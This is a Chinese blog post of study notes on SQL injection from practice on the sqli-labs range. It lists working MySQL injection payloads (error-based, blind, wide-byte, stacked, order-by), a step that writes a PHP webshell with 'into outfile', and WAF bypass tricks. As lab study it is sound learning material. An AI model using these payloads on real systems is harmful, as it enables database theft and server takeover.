sql注入学习笔记

前言

sql注入作为owasp top 10的榜首,其重要程度不言而喻。这里我通过对sqli-labs靶场的练习,来学习和入门sql注入。

0x00靶场搭建

1.phpstudy

2.docker

具体搭建方法自行搜索

0x01个人学习笔记

sql注入过程:

判断注入点和注入类型 ‘、’)、’))、”、”)、”))

判断字段数 order by或者union select

判断显示位

爆数据库SELECT * FROM information_schema.schemata

获取表民 select table_name from information_schema.tables where table_schema=database()

获取字段名 select column_name from information_schema.columns where table_name=’xxx’

获取数据 select xxx from table_name

系统函数

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

联合注入、双查询注入、盲注、报错注入、宽字节注入

注释: –+(get)、#(post)、 /* */

字符拼接:concat、concat_ws、group_concat

盲注思路

猜表数

逐个猜解表长和表名

逐个猜解每个表的列数、列长、列名

获取数据

布尔盲注、时间盲注、报错盲注

盲注函数
ascii()、ord()、chr()
substr()、left()、mid()
regexp ‘^xxx’、like ‘xxx%’
if()
length()
count()
sleep()

聚合函数和group by报错 floor(rand(0)*2)报错输出字符限制64个
手工盲注非常费时,仅需了解原理即可。最好用自动化脚本盲注,自己用python写脚本或者使用sqlmap等工具。

报错注入

1.主键重复floor报错
select count(),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),’~’,floor(rand(0)2))a from information_schema.tables group by a–+

如果关键表被禁用的payload

select count() from ((select 1 union select null union select !1)a) group by concat(version(),’~’,floor(rand(0)2))–+

2.exp报错(double数据溢出)
select exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a))–+

3.Xpath报错
and extractvalue(1,concat(0x7e,(select version()),0x7e))–+
and updatexml(1,concat(0x7e,(select version()),0x7e),1)–+
updatexml和extractvalue原理相同,只是updatexml函数多一个参数。

4.Bigint溢出报错 利用逐位取反~和逻辑取反!,可以构造出很多种的Bigint溢出
select (!(select * from (select user())a) - ~0),2,3–+

5.name_const()列名重复报错
select * from(select name_const(version(),1),name_const(version(),1))a–+

name_const函数要求参数必须是常量所以要配合join函数使用(网上的payload好像不行,而且关于join这个函数没有找到比较详细的解释,不太懂)

6.空间数据类型函数错误(几何函数)

mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行
select * from products where pid=1 and geometrycollection((select * from(select * from(select user())a)b))–+

select * from products where pid=1 and multipoint((select * from(select * from(select user())a)b))–+

select * from products where pid=1 and polygon((select * from(select * from(select user())a)b))–+

select * from products where pid=1 and multipolygon((select * from(select * from(select user())a)b))–+

select * from products where pid=1 and linestring((select * from(select * from(select user())a)b))–+

select * from products where pid=1 and multilinestring((select * from(select * from(select user())a)b))–+

into outfile导入文件
select ‘‘ into outfile ‘c:\\xxx\\xx\\shell.php’ 用\\是为了防止转义,写一句话用蚁剑连接。

宽字节注入

GB2312 GBK GB18030等等都是宽字节编码,即两个字节表示一个中文(前一个ascii码大于128,为汉字范围)

‘ 过滤后变成 ' 把前面的\去掉有两种思路:

1.用%df吃掉 \。%5c表示\,那么%df%5c就是一个汉字

2.将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给注释掉。这也是 bypass 的一种方法。

堆叠注入

通过 ; 再连接一个select语句,可以增删改查,可以写一句话脚本

order by后的注入

order by默认升序排序 加上desc就是降序

?sort=1 into outfile ‘xxxx’ lines terminated by 0x(十六进制转码的一句话),可以把排序的结果导出,并在每行最后加入一句话。

1.直接添加查询语句,?sort=sql语句

2.利用一些函数,如rand()函数,?rand(sql语句) ,此外,rand(true)和rand(false)的结果是不一样的

3.利用and,?sort=x and sql语句

sql语句可以利用报错注入和时间盲注

4.procedure analyse参数后注入,利用procedure analyse参数,可以执行报错注入,?sort=1 procedure analyse(extractvalue(1,concat(0x7e,xxxx)))

waf绕过

1.白盒绕过:知道源代码,通过代码审计

2.黑盒绕过:

架构层面绕过waf:

(1).寻找源网站绕过waf检测,主要针对云waf,找到源网站的真实ip地址进行绕过,有点像CDN

(2).通过同网段绕过waf,在同一个网段中,可能经过的数据不会经过云waf,从来实现绕过

资源限制角度绕过waf:一般waf的执行需要优先考虑业务优先的原则,所以对于构造较大、超大数据包可能不会进行检测,从而实现绕过waf

协议层面绕过waf

(1).协议未覆盖绕过waf,比如由于业务需要,只对get型进行检测,post数据选择忽略

(2).参数污染,index?id=1&id=2 waf可能只对id=1进行检测 (服务器两层架构)

规则层面绕过waf

基本方法有:大小写变形、双写、编码(hex、urlencode)、添加注释/**/、利用符号and=&& or=|| like可以替换= <>等价于!=

注释符绕过,用/**/代替空格进行绕过

空白符绕过,mysql空白符%09; %0A; 或/**/等等

函数分割符号,例如concat/**/(

浮点数词法解释 waf对于id=1可以检测,但是对于id=1E0、id=1.0、id=\N可能就无法检测

利用报错注入

mysql特殊语法:select{x 1} select {x schema_name} from {x information_schema.schemata}

3.fuzz模糊测试,可以用burpsuite配合手工进行测试,测试成功后再用脚本进行处理

0x02参考资料

在进行靶场注入学习的过程中,我搜索了很多的write up和文章,我觉得写的比较好的是b站视频注入天书报错注入总结

0x03总结

通过sqli-labs的练习,基本入门了sql注入,然而我认为这还远远不够。对于盲注,还需要学习python脚本的编写,通过脚本进行自动化注入,也可以使用sqlmap工具。对于刚入门的我,以后还有很多东西要学,各种绕过的姿势等等

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2020-2021 Blog of Tianze

请我喝杯咖啡吧~

支付宝
微信